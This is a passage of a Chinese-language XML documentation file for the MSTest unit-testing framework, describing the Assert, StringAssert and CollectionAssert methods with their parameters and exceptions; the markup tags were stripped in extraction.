- - 测试指定对象是否不相等, - 如果相等,则引发一个异常。即使逻辑值相等,不同的数字类型也被视为 - 不相等。42L 不等于 42。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是在测试下由代码生成的对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否相等, - 如果不相等,则引发一个异常。 - - - 要比较的第一个浮点型。这是测试预期的浮点型。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to - . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的浮点型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个浮动。这是测试预期与 - 以下内容匹配的浮动: 。 - - - 要比较的第二个浮点型。这是测试下代码生成的浮点型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - Thrown if is not equal to - . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的双精度型是否相等。如果不相等, - 则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 超过 。 - - - 要包含在异常中的消息,条件是当 - 不同于 多于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的双精度型是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个双精度型。这是测试预期不匹配 - 的双精度型。 - - - 要比较的第二个双精度型。这是测试下代码生成的双精度型。 - - - 所需准确度。仅在以下情况下引发异常: - 不同于 - 最多 。 - - - 要包含在异常中的消息,条件是当 - 等于 或相差少于 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等, - 如果不相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - Thrown if is not equal to . - - - - - 测试指定的字符串是否相等,如果不相等, - 则引发一个异常。 - - - 要比较的第一个字符串。这是测试预期的字符串。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 不等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定字符串是否不相等, - 如果相等,则引发一个异常。使用固定区域性进行比较。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - Thrown if is equal to . - - - - - 测试指定的字符串是否不相等, - 如果相等,则引发一个异常。 - - - 要比较的第一个字符串。 这是测试预期不匹配的 - 字符串 。 - - - 要比较的第二个字符串。这是在测试下由代码生成的字符串。 - - - 指示区分大小写或不区分大小写的比较的布尔。 (true - 指示区分大小写的比较。) - - - 提供区域性特定比较信息的 CultureInfo 对象。 - - - 要包含在异常中的消息,条件是当 - 等于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is equal to . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定的对象是否是预期类型的一个实例, - 如果预期类型不位于对象的继承分层中, - 则引发一个异常。 - - - 测试预期为指定类型的对象。 - - - 预期类型。 - - - 要包含在异常中的消息,条件是当 - 不是一个实例。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 测试指定对象是否不是一个错误 - 类型实例,如果指定类型位于对象的 - 继承层次结构中,则引发一个异常。 - - - 测试预期不是指定类型的对象。 - - - 类型 不应。 - - - 要包含在异常中的消息,条件是当 - 是一个实例。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - 引发 AssertFailedException。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertFailedException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - Always thrown. - - - - - 引发 AssertInconclusiveException。 - - - 包含在异常中的消息。信息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Always thrown. - - - - - 静态相等重载用于比较两种类型实例的引用 - 相等。此方法应用于比较两个实例的 - 相等。此对象始终会引发 Assert.Fail。请在单元测试中使用 - Assert.AreEqual 和关联的重载。 - - 对象 A - 对象 B - 始终为 False。 - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - 要包含在异常中的消息,条件是当 - 不引发类型的异常 。 - - - 在格式化时使用的参数数组 。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 应该引发的异常类型。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 且 - 如果代码不引发异常或引发非 类型的异常,则引发 - - AssertFailedException - 。 - - - 委托到要进行测试且预期将引发异常的代码。 - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 测试委托 指定的代码是否能准确引发指定类型 异常(非派生类型异常), - 如果代码不引发异常或引发非 类型的异常,则引发 AssertFailedException。 - - 委托到要进行测试且预期将引发异常的代码。 - - 要包含在异常中的消息,条件是当 - 不引发异常类型。 - - - 在格式化时使用的参数数组 。 - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - 该 执行委托。 - - - - - 将 null 字符("\0")替换为 "\\0"。 - - - 要搜索的字符串。 - - - 其中 null 字符替换为 "\\0" 的转换字符串。 - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - 用于创建和引发 AssertionFailedException 的帮助程序函数 - - - 引发异常的断言名称 - - - 描述断言失败条件的消息 - - - 参数。 - - - - - 检查有效条件的参数 - - - 参数。 - - - 断言名称。 - - - 参数名称 - - - 无效参数异常的消息 - - - 参数。 - - - - - 将对象安全地转换为字符串,处理 null 值和 null 字符。 - 将 null 值转换为 "(null)"。将 null 字符转换为 "\\0"。 - - - 要转换为字符串的对象。 - - - 转换的字符串。 - - - - - 字符串断言。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定字符串是否包含指定子字符串, - 如果子字符串未出现在 - 测试字符串中,则引发一个异常。 - - - 预期要包含的字符串 。 - - - 字符串,预期出现在 。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - Thrown if does not begin with - . - - - - - 测试指定的字符串是否以指定的子字符串开头, - 如果测试字符串不以该子字符串开头, - 则引发一个异常。 - - - 字符串,预期开头为。 - - - 预期是前缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 开头不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not begin with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - Thrown if does not end with - . - - - - - 测试指定字符串是否以指定子字符串结尾, - 如果测试字符串不以子字符串结尾, - 则引发一个异常。 - - - 字符串,其结尾应为。 - - - 预期是后缀的字符串。 - - - 要包含在异常中的消息,条件是当 - 结尾不为 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not end with - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - Thrown if does not match - . - - - - - 测试指定的字符串是否匹配正则表达式,如果字符串不匹配正则表达式,则 - 引发一个异常。 - - - 预期匹配的字符串 。 - - - 正则表达式 应 - 匹配。 - - - 要包含在异常中的消息,条件是当 - 不匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not match - . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - Thrown if matches . - - - - - 测试指定字符串是否与正则表达式不匹配, - 如果字符串与表达式匹配,则引发一个异常。 - - - 预期不匹配的字符串。 - - - 正则表达式 预期 - 为不匹配。 - - - 要包含在异常中的消息,条件是当 - 匹配 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if matches . - - - - - 帮助程序类的集合,用于测试与单元测试内的集合相关联的 - 多种条件。如果不满足被测条件, - 则引发一个异常。 - - - - - 获取 CollectionAssert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - Thrown if is not found in - . - - - - - 测试指定集合是否包含指定元素, - 如果集合不包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期位于集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 未处于 。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - Thrown if is found in - . - - - - - 测试指定的集合是否不包含指定 - 元素,如果集合包含该元素,则引发一个异常。 - - - 要在其中搜索元素的集合。 - - - 预期不在集合中的元素。 - - - 要包含在异常中的消息,条件是当 - 位于。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is found in - . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - Thrown if a null element is found in . - - - - - 测试指定的集合中所有项是否都为非 null, - 如果有元素为 null,则引发一个异常。 - - - 在其中搜索 null 元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含一个 null 元素。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a null element is found in . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试指定集合中的所有项是否都唯一, - 如果集合中有任何两个元素相等,则引发异常。 - - - 要在其中搜索重复元素的集合。 - - - 要包含在异常中的消息,条件是当 - 包含至少一个重复元素。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if a two or more equal elements are found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否是另一集合的子集, - 如果子集中的任何元素都不是超集中的元素, - 则引发一个异常。 - - - 预期为一个子集的集合。 - - - 预期为以下对象的超集的集合: - - - 包括在异常中的消息,此时元素位于 - 未找到 . - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is not found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - Thrown if every element in is also found in - . - - - - - 测试一个集合是否不是另一个集合的子集, - 如果子集中的所有元素同时位于超集中, - 则引发一个异常. - - - 预期不是一个子集的集合 。 - - - 预期不为超集的集合 - - - 要包含在异常中的消息,条件是当每个元素 - 还存在于. - 消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if every element in is also found in - . - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含相同的元素,如果 - 任一集合包含的元素不在另一 - 集合中,则引发一个异常。 - - - 要比较的第一个集合。它包含测试预期的 - 元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 当某个元素仅可在其中一个集合内找到时 - 要包含在异常中的消息。消息显示在 - 测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element was found in one of the collections but not - the other. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试两个集合是否包含不同元素, - 如果这两个集合中包含相同元素,则不管 - 顺序如何,均引发一个异常。 - - - 要比较的第一个集合。这包含测试 - 预期与实际集合不同的元素。 - - - 要比较的第二个集合。这是在测试下 - 由代码生成的集合。 - - - 要包含在异常中的消息,条件是当 - 包含相同的元素 。消息 - 显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定集合中的所有元素是否是预期类型的 - 实例,如果预期类型 - 不在一个或多个这些元素的继承层次结构中,则引发一个异常。 - - - 包含测试预期为指定类型的 - 元素的集合。 - - - 每个元素的预期类型 。 - - - 包括在异常中的消息,此时元素位于 - 不是实例 - 。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - 测试指定的集合是否相等,如果两个集合 - 不相等,则引发一个异常。相等被定义为具有相同的元素,并且元素的 - 顺序和数量也相同。 - 对同一值的不同引用也视为相等。 - - - 要比较的第一个集合。这是测试预期的集合。 - - - 要比较的第二个集合。这是测试西下代码 - 生成的集合。 - - - Thrown if is not equal to - . - - - - - 测试指定的集合是否相等,如果两个集合 - 